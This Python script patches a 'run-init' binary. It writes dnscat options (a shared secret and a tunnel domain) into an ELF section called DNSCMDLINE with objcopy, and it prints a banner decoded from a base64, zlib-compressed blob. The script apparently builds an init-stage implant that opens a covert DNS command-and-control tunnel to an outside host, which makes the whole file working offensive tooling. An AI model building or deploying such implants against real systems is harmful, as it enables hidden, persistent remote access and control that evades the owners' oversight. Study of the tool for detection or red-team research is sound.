#!/usr/bin/env python

# inputs: binary, output, and options
# outputs fixed binary

import sys
import subprocess
import tempfile
import base64
import zlib

banner = \
"""eJy1W7ty4zgQzLfqvmATJQwusY0lKbGsDfAPTFh1W6UvcKbQH398AZhHDwDSXrlWKxEECMw0ehoD
6Od/b/f2du/ePi7p9XO/eP0Ylo/u3r7FL+rmE6+5nY9/fqDWlmv9vb0uV8Oz5y+3D+9VUdstHz3t
4cTaVH2PjYkBfmFM1lBSB+8TGtTWqcH7xvOubR1aP7MCUrHbe/1rafCFPDs9tEk3PI2K72dHbgzZ
HOVmANYDcF+3e6VbqgCnrrdMpksnZbgeQniapvG8y9HQk9GfGqLX/JBZ395HA+IWgIyWNxN4T6zQ
CWPpWZ06ulltTPdfTQg1BOV/AU2hh2MDpkhPjbN9HAJQfn1IMESzDOFrR7FxK6Am2YWbbpiome7C
ZX9zcoGx+UF3mlkJTpyZg6YJjXxDCkWH4C6C0OZ7h2uNFg/wGmkQcKUcrd9fYAp0ht+N6/3udd0S
mMLPMwayjSOdwGhmBTO5zUD2ao9xNYbtfu/JwLvICuvD/TAjTpJ29XBTS25HFr4fGsE0+TPFCk8t
EKi5j2hNs2ZauHJGxG6IjRtufP6MwsyRmqh1GBJGYsjrFmxjjz2tlVcgeyccjQP9YrPJcLCjX/Z5
wUrc2lpQVNEFRi+siIeDDu2Tf1GG4lMpIGx/IRB2MVpBeDKZMJOxpSAGayITyE4prNnoVRazzdy2
2DHB/IR2V3/eaSgKJm6XEkuoAdeYvDdFwrtRAbBZcfTbDDjhgRGVsCEYXlMcKV02pQIYvIhktHgj
uooY+o12zKWY5vLe8mbJeKJkoP2x0Kbcazs3kJMUOzaxm/oozcXgfNiI7WIAGBFx1DjUxOziQzvB
MUyLznUirWQUKKLQKucv/smCgvjRRQWiJ/CFVhphD3IcDIGAta3XRWD1u072jCZQJWwRgeuMGQ0Z
bNnFpolc/6UW8WR1LqMGUFY6HEML8ukGmNqnmxIZ28G1NW/rqctBAwxCAo8Da2RKzwoSe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94QKtzm4F5wBPmNlM
oFpnAlBiLSf0gJjOrqQKE7sqr1m5hDzCAAUjahpgJ/uckG4Srsbv5DrqFf2TtlwcpgadSDhKP2W3
z07ZwycXHtu/x2N7Y+9r2fLf+i/efrmQBj63v9e55M/nUv7ndbn983OtuZQt1+bq68fL9i4aeHxe
4t/j3/nux97YXmO+Nr/bDSy9Cs3Mn38vj16rrENYrj1etwa2Li2XaQPrtc/lsa/L5z+P5ePyeR/C
0o+16nZhe6dGPPX68T+4Y1qG"""

based_banner = base64.b64decode(banner)
bnr = zlib.decompress(based_banner)
sys.stdout.write(bnr.decode('ascii'))

if len(sys.argv) < 2:
    sys.stderr.write("usage: %s <run-init binary> <dnscat options>....\n\n" % sys.argv[0])
    sys.stderr.write("Where options are what options to pass to dnscat\n\n")
    sys.stderr.write("example:\n")
    sys.stderr.write("  %s /path/to/run-init dnscat --secret=%s example.com\n" %
                     (sys.argv[0], "A"*32))
    sys.exit(-1)

infilename = sys.argv[1]
options = sys.argv[2:]

print("\n")
print("input: %s" % infilename)
print("options:"+", ".join(options))

with tempfile.NamedTemporaryFile(dir='/tmp', delete=True) as tmpfile:
        temp_file_name = tmpfile.name
        joined = "\0".join(options)
        joined += (4096 - len(joined)) * "\0"
        tmpfile.write(bytearray(joined, 'ascii'))
        subprocess.check_call(["objcopy", infilename, "--update-section",
                               "DNSCMDLINE=%s" % temp_file_name])
print("\nHave a nice day.")

